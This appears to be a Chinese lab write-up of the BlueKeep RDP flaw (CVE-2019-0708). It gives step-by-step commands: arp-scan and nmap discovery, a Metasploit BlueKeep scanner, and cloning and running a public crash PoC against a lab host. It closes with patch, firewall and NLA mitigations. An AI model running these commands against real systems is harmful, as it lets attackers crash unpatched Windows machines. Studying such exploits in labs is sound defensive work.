cve-2019-07-08

cve-2019-07-08——RDP漏洞利用

一、影响的系统版本

(1)Window2003
(2)Window2008
(3)Window2008 R2
(4)Window xp
(5)Window7

二、测试环境

kali ip:192.168.158.130
靶机ip:192.168.158.139
靶机搭建，请参考我的另一篇博客
https://blog.csdn.net/m_de_g/article/details/119957223?spm=1001.2014.3001.5501

三、思路

1.内网端口扫描

arp-scan -l

得到靶机的IP:192.168.158.139

2.nmap扫描查看靶机开放的端口

nmap -sS 192.168.158.139

发现靶机开放了3389端口

3.启动msf

msfconsole

4.查找能力利用0708的攻击模块

search 0708

5.选择合适的攻击模块

use auxiliary/scanner/rdp/cve_2019_0708_bluekeep

6.查看需要设置的参数

show options 

7.发现了没有设置好攻击目标的IP

set rhosts 192.168.158.139

8.设置好参数之后，执行run

9.发现目标主机存在0708的漏洞，可以进行攻击

四、漏洞攻击

1.因为kali没有pip3,所以我们在使用前应当先安装pip3,再安装impacket库

apt-get install python3-pip
pip3 install impacket

2.下载POC

git clone https://github.com/n1xbyte/CVE-2019-0708.git
cd CVE-2019-0708

3.进行攻击

python3 crashpoc.py 192.168.158.139 64         //后面的64是版本号

五、漏洞修复

(1)及时打对应系统的安全补丁
(2)关闭3389端口或添加防火墙安全策略限制对3389端口的访问
(3)打不了补丁的可以开启远程桌面（网络级别身份验证(NLA)），可以临时防止漏洞攻击

六、参考链接

https://blog.csdn.net/weixin_44677409/article/details/94552370